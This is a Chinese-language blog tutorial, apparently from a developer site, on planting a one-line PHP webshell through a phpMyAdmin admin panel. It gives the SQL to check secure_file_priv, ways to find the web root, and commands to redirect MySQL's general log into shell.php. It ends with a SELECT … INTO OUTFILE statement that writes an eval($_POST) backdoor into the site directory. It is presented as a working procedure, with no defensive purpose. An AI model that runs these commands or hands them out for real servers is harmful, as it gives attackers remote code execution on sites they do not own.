【phpmyadmin写入一句话木马】操作详情

前置要求:
1.进入phpmyadmin的管理后台,确保当前进行操作的用户具备读写文件的权限
2.获取网站的物理路径

查询写入的路径是否被限制

show global variables    显示MySQL服务器的全局变量值。
like ‘%secure%’        like关键字用于在查询中进行模式匹配,%是一个通配符,表示匹配任何数量的字符(包括零个字符)。

show global variables like '%secure%';    查询包含 secure 字符串的全局变量名。

在这里插入图片描述
【说明】secure_file_priv 是MySQL中的一个系统变量,用于限制 LOAD DATA, SELECT … INTO OUTFILE 和 LOAD_FILE() 等文件操作的路径。

secure_file_priv 参数:

  1. 当值被设置为一个目录的路径时(如 /tmp),只有该目录(或其子目录)中的文件可以被上述操作访问。
  2. secure_file_priv 的值为 NULL,则禁止这些文件操作。
  3. 当值什么都没有设定(上图),就可以进行读写操作。

获取网站物理路径

1-通过web报错信息:可以通过访问各种不存在的目录尝试让网页,有可能爆出绝对路径。
在这里插入图片描述

2-通过 phpinfo() 获取路径:在phpinfo页面直接搜索:DOCUMENT_ROOT
在这里插入图片描述
3-如果目标站点是利用phpstudy、Xampp、LAMPP等之类搭建的,可以通过查看数据库路径

show variables like '%datadir%';
或者
select @@basedir;

通过日志写入木马

原理:我们执行的每一个 sql 语句都会被保存到日志中,如果把这个日志文件重名为 .php 文件,然后我们在执行一次 sql 语句,那么就会被保存在这个 .php 文件中,这样就能顺利拿到webshell。

查询日志写入功能是否开启

show VARIABLES LIKE '%gen%'

在这里插入图片描述

开启日志写入功能

set GLOBAL general_log = on       日志保存状态开启
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'    修改日志的保存位置。(具体路径还需根据实际情况)

再次查询可以看到日志备份功能开启了

在这里插入图片描述

写入一句话木马

SELECT '<?php @eval($_POST["cmd"])?>' INTO OUTFILE 'C:/phpStudy/WWW/shell.php' ;

这样网站目录下生成了一个 shell.php 的文件,一句话木马已经被我们写入。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值